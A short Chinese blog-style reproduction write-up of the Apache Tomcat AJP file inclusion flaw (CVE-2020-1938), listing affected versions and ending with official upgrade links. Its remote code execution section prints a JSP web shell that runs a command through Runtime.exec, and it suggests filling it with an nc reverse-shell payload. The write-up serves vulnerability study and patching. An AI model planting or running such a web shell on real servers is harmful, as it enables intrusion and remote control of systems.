2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。
这里直接白嫖大佬的POC,简单复现记录一下,造轮子是不可能的!
0x01 搭建漏洞环境
根据官方说明此次受影响版本如下,登录Tomcat官网选择适合的版本下载即可搭建。
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
0x02 文件读取
使用tomcat默认配置的情况下,可以直接读取tomcat目录文件,默认根目录为webapps/ROOT,test.txt为根目录下测试文件
0x03 文件包含RCE
文件包含RCE需要先上传payload到tomcat目录。若上传一个jsp码到tomcat目录下,接着直接读取即可执行jsp代码。这里给一个简单的jsp码,补上你自己的利用代码即可。
<%
java.io.InputStream in = Runtime.getRuntime().exec("补上利用代码").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
利用nc反弹shell为例,利用在线payload生产器可以快速生成利用代码,补在jsp码上即可。
上传jsp码到tomcat目录后直接读取该文件,可以解析为jsp文件执行。测试最多可以读取wabapps下所有目录和文件,也可以看看这篇总结。
0x04 漏洞防护
目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方修复版本下载链接:
版本号 | 下载地址 |
---|---|
Apache Tomcat 7.0.100 | http://tomcat.apache.org/download-70.cgi |
Apache Tomcat 8.5.51 | http://tomcat.apache.org/download-80.cgi |
Apache Tomcat 9.0.31 | http://tomcat.apache.org/download-90.cgi |